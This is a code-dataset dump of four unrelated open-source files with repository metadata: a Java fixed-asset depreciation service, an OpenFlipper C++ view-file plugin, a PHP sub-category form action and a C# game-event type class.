log.debug("No result in the query getting depreciation amount for group."); } catch (Exception e) { log.error("Error when getting depreciation amount for group.. ", e); } return (res); } /** * Gets the depreciation sum for fixedAssets in the group, subgroup and date range * @param fixedAssetSubGroupId fixedAssetSubGroupId * @param fixedAssetGroupId fixedAssetGroup * @param fixedAssetId fixedAssetId * @param dateRange The date range start * @return The sum of depreciation amounts */ public CurrencyValuesContainer getDepreciationAmountForFixedAssetUpTo(FixedAssetGroupPk fixedAssetGroupId, FixedAssetSubGroupPk fixedAssetSubGroupId, Long fixedAssetId, Date dateRange) { CurrencyValuesContainer res = new CurrencyValuesContainer(); try { Query query = getEntityManager().createNamedQuery("FixedAssetDepreciationRecord.findDepreciationAmountForFixedAssetUpTo"); query.setParameter("fixedAssetGroupId", fixedAssetGroupId); query.setParameter("fixedAssetSubGroupId", fixedAssetSubGroupId); query.setParameter("dateRange", dateRange); query.setParameter("fixedAssetId", fixedAssetId); res = (CurrencyValuesContainer) query.getSingleResult(); } catch (NoResultException nrex) { log.debug("No result in the query getting depreciation amount for group."); } catch (Exception e) { log.error("Error when getting depreciation amount for group.. ", e); } return (res); } /** * Get the sum of the depreciations for a FixedAsset (in Bs) * @param fixedAsset The fixedAsset * @return The sum */ public Double getBsDepreciationsSum(FixedAsset fixedAsset) { Double res=null; try { Query query = getEntityManager().createNamedQuery("FixedAssetDepreciationRecord.getBsDepreciationsSum"); query.setParameter("fixedAsset", fixedAsset); BigDecimal queryResult=(BigDecimal) query.getSingleResult(); if(queryResult!=null){ res = queryResult.doubleValue(); } } catch (NoResultException nrex) { log.debug("No result in the query getting depreciations SUM.", nrex); } catch (Exception e) { log.error("Error when getting depreciations SUM. ", e); } return (res); } }
arielsiles/sisk1
src/main/com/encens/khipus/service/fixedassets/FixedAssetDepreciationRecordServiceBean.java
Java
gpl-3.0
8,197
/*===========================================================================*\ * * * OpenFlipper * * Copyright (C) 2001-2011 by Computer Graphics Group, RWTH Aachen * * www.openflipper.org * * * *--------------------------------------------------------------------------- * * This file is part of OpenFlipper. * * * * OpenFlipper is free software: you can redistribute it and/or modify * * it under the terms of the GNU Lesser General Public License as * * published by the Free Software Foundation, either version 3 of * * the License, or (at your option) any later version with the * * following exceptions: * * * * If other files instantiate templates or use macros * * or inline functions from this file, or you compile this file and * * link it with other files to produce an executable, this file does * * not by itself cause the resulting executable to be covered by the * * GNU Lesser General Public License. This exception does not however * * invalidate any other reasons why the executable file might be * * covered by the GNU Lesser General Public License. * * * * OpenFlipper is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU Lesser General Public License for more details. * * * * You should have received a copy of the GNU LesserGeneral Public * * License along with OpenFlipper. If not, * * see <http://www.gnu.org/licenses/>. * * * \*===========================================================================*/ /*===========================================================================*\ * * * $Revision: 15658 $ * * $LastChangedBy: moebius $ * * $Date: 2012-10-15 22:19:10 +0800 (Mon, 15 Oct 2012) $ * * * \*===========================================================================*/ #include <QtGui> #include <QFileInfo> #include <QSettings> #include "FileOfv.hh" #include <iostream> #include <ACG/GL/GLState.hh> #include "OpenFlipper/BasePlugin/PluginFunctions.hh" #include "OpenFlipper/common/GlobalOptions.hh" #include <OpenMesh/Core/IO/IOManager.hh> #include <OpenFlipper/ACGHelper/DrawModeConverter.hh> void FileViewPlugin::initializePlugin() { } QString FileViewPlugin::getLoadFilters() { return QString( tr("View definition files ( *.ofv )") ); }; QString FileViewPlugin::getSaveFilters() { return QString( tr("View definition files ( *.ofv )") ); }; DataType FileViewPlugin::supportedType() { return DataType(); } int FileViewPlugin::loadObject(QString _filename) { // Declare variables int width = 1; int height = 1; ACG::Vec3d eye(1.0,1.0,1.0); ACG::Vec3d center(0.0,0.0,0.0); ACG::Vec3d up(1.0,0.0,0.0); // float fovy = 0; ACG::Vec4f background; //bool e_widthAndHeight = false; bool e_eye = false; bool e_center = false; bool e_up = false; // bool e_fovy = false; bool e_background = false; QSettings settings(_filename, QSettings::IniFormat); settings.beginGroup("VIEW"); if(settings.contains("Width") && settings.contains("Height")) { width = settings.value("Width").toInt(); height = settings.value("Height").toInt(); std::cerr << "Setting new viewport to " << width << "x" << height << std::endl; //e_widthAndHeight = true; } if(settings.contains("EyeX")) { eye[0] = settings.value("EyeX").toDouble(); eye[1] = settings.value("EyeY").toDouble(); eye[2] = settings.value("EyeZ").toDouble(); std::cerr << "Setting new eye position to " << eye << std::endl; e_eye = true; } if(settings.contains("CenterX")) { center[0] = settings.value("CenterX").toDouble(); center[1] = settings.value("CenterY").toDouble(); center[2] = settings.value("CenterZ").toDouble(); std::cerr << "Setting new scene center to " << center << std::endl; e_center = true; } if(settings.contains("UpX")) { up[0] = settings.value("UpX").toDouble(); up[1] = settings.value("UpY").toDouble(); up[2] = settings.value("UpZ").toDouble(); std::cerr << "Setting new up vector to " << up << std::endl; e_up = true; } // if(settings.contains("Fovy")) { // fovy = settings.value("Fovy").toDouble(); // std::cerr << "Setting fovy to " << fovy << std::endl; // e_fovy = true; // } if(settings.contains("BackgroundR")) { background[0] = settings.value("BackgroundR").toDouble(); background[1] = settings.value("BackgroundG").toDouble(); background[2] = settings.value("BackgroundB").toDouble(); background[3] = settings.value("BackgroundA").toDouble(); std::cerr << "Setting new background color to " << background << std::endl; e_background = true; } settings.endGroup(); // Now set new projection and view // Get number of viewers int viewers = PluginFunctions::viewers(); for(int i = 0; i < viewers; ++i) { Viewer::ViewerProperties& props = PluginFunctions::viewerProperties(i); ACG::GLState& state = props.glState(); // // Perspective update // double aspect = 0.0; // if(e_widthAndHeight) aspect = width / height; // else aspect = state.aspect(); // Set projection matrix //if(e_fovy) // state.perspective(fovy, aspect, near, far); // Viewport //if(e_widthAndHeight) // state.viewport(0, 0, width, height); //std::cerr << "Fovy: " << state.fovy() << std::endl; } // LookAt ACG::Vec3d new_eye = e_eye ? eye : PluginFunctions::eyePos(); ACG::Vec3d new_center = e_center ? center : PluginFunctions::sceneCenter(); ACG::Vec3d new_up = e_up ? up : PluginFunctions::upVector(); PluginFunctions::lookAt(new_eye, new_center, new_up); // Background color if(e_background) { PluginFunctions::setBackColor(background); } emit updateView(); return 0; }; bool FileViewPlugin::saveObject(int /*_id*/, QString /*_filename*/) { return true; } Q_EXPORT_PLUGIN2( fileviewplugin , FileViewPlugin );
softwarekid/OpenFlipper
PluginCollection-FilePlugins/Plugin-FileOfv/FileOfv.cc
C++
gpl-3.0
7,632
<?php /* * This file is part of WebKeyPass. * * Copyright © 2013 Université Catholique de Louvain * * WebKeyPass is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * WebKeyPass is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with WebKeyPass. If not, see <http://www.gnu.org/licenses/>. * * Author: Sébastien Wilmet */ namespace UCL\WebKeyPassBundle\Controller; use UCL\WebKeyPassBundle\Form\CategoryForm; class AddSubCategoryAction extends FormAddAction { protected $fullname = 'Add Sub-category'; protected $success_msg = 'Sub-category added successfully.'; protected function getForm () { $form = new CategoryForm (); $form->setNodeRepository ($this->controller->getNodeRepo ()); return $form; } protected function getFormData () { return array ('list_name' => '', 'other_name' => '', 'icon' => '', 'comment' => '', '_node' => $this->node); } protected function saveData ($db_manager, $form) { $data = $form->getData (); $node = $data['_node']; if ($data['other_name'] != '') { $node->setName ($data['other_name']); } else { $node->setName ($data['list_name']); } $node->setIcon ($data['icon']); $node->setComment ($data['comment']); $node->setType (0); $db_manager->persist ($node); } }
UCL-SIPR/WebKeyPass
Controller/AddSubCategoryAction.php
PHP
gpl-3.0
1,948
using CP77.CR2W.Reflection; using FastMember; using static CP77.CR2W.Types.Enums; namespace CP77.CR2W.Types { [REDMeta] public class gameuiTutorialBracketHideEvent : redEvent { [Ordinal(0)] [RED("bracketID")] public CName BracketID { get; set; } public gameuiTutorialBracketHideEvent(CR2WFile cr2w, CVariable parent, string name) : base(cr2w, parent, name) { } } }
Traderain/Wolven-kit
CP77.CR2W/Types/cp77/gameuiTutorialBracketHideEvent.cs
C#
gpl-3.0
375